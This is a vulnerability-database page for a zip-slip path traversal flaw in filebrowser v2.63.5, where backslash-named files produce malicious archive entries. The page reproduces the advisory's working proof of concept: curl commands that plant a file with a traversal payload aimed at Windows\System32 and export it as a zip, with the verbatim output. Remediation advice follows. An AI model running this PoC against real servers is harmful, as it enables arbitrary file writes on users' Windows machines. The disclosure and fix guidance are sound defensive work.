Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
PR:L because Create permission (low privilege) is required; UI:R because a Windows victim must extract the archive; S:C because impact crosses from the server to the victim's machine; C:N because no data is disclosed.
Primary rating from Vendor (https://github.com/filebrowser/filebrowser).
CVSS VectorVendor: https://github.com/filebrowser/filebrowser
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Summary
filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory - arbitrary file write on the victim who downloads and extracts the archive.
Details
http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
FileInfo: info,
NameInArchive: nameInArchive,
Open: func() (fs.File, error) { return d.user.Fs.Open(path) },
})On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.
The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.
PoC
Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).
# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"
# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$PW\"}")
# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
-H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'
# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PYObserved output (verbatim):
mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: TrueServer-side, the file exists with a literal backslash name:
-rw-r----- 1 user user 20 ..\..\..\..\..\Windows\System32\evil.txtThe central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....
Negative control - a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:
safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt -> HTTP 301 (collapsed by path.Clean; nothing escapes)This proves / is handled but \ is the unhandled gap.
To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:
Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\outImpact
Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).
Affected versions
All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.
Suggested fix
Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:
nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any hostOptionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.
AnalysisAI
Zip-slip path traversal in filebrowser v2.63.5 and earlier (Linux-hosted) allows any authenticated user with Create permission to plant a file whose name contains URL-encoded Windows-style backslash traversal sequences (%5C). The Linux server stores the file with a literal backslash in its name, which filepath.ToSlash() silently ignores, and the archive download handler emits that name verbatim into zip/tar central directories. When a Windows victim downloads and extracts the archive using Explorer, 7-Zip, WinRAR, or .NET ZipFile.ExtractToDirectory, the extractor interprets \ as a path separator and writes files to arbitrary locations outside the extraction directory - enabling arbitrary file write on the victim's Windows machine. No public exploit identified at time of analysis beyond the full PoC published in the GHSA advisory; EPSS is 0.03% (8th percentile), consistent with the two-party, victim-interaction requirement.
Technical ContextAI
The root cause (CWE-22, Path Traversal - zip-slip variant) lies in a cross-platform assumption in http/raw.go getFiles(). Go's filepath.ToSlash() only rewrites the *host* path separator to /; on Linux where filepath.Separator == '/', backslash characters in filenames are left completely untouched. Separately, http/resource.go resourcePostHandler cleans incoming URL paths with path.Clean("/" + ...), which recognises only / as a separator, so a URL-encoded backslash (%5C) survives into the filename stored on the Linux filesystem. The upstream archive library github.com/mholt/archives@v0.1.5 then writes the backslash-containing name verbatim into the zip or tar central directory via nameOnDiskToNameInArchive. The affected packages per CPE/PURL are pkg:go/github.com_filebrowser_filebrowser_v2 (v2 branch) and pkg:go/github.com_filebrowser_filebrowser (v1 branch). The vulnerability is a server-side archive-construction flaw whose impact is fully realised on the Windows client that extracts the archive - a classic zip-slip trust-boundary crossing.
RemediationAI
Upgrade filebrowser v2 to v2.63.6, which adds strings.ReplaceAll(nameInArchive, "\\\\", "/") in http/raw.go getFiles() to strip Windows separators regardless of host OS, and also introduces symlink scope enforcement and auth-body size limits in the same commit (847d08bdd135e5c3659f2e6dea2f0cd36617af9b). Patch reference: https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b. Release: https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6. For the v1 branch, no vendor-released patched version is confirmed; operators should migrate to v2.63.6 or apply the one-line strings.ReplaceAll fix manually. If immediate upgrade is not feasible, remove the Create permission from untrusted user accounts (this prevents planting backslash-named files entirely) and disable self-registration (Settings → Authentication → Signup) to eliminate the anonymous-attacker path. As a victim-side mitigation, instruct all users to extract archives to isolated empty directories and use an extraction tool with zip-slip detection enabled (recent 7-Zip versions warn on path traversal entries). Disabling the zip/tar download feature entirely via filebrowser's configuration removes the attack surface at the cost of that functionality.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39504
GHSA-gxjx-7m74-hcq8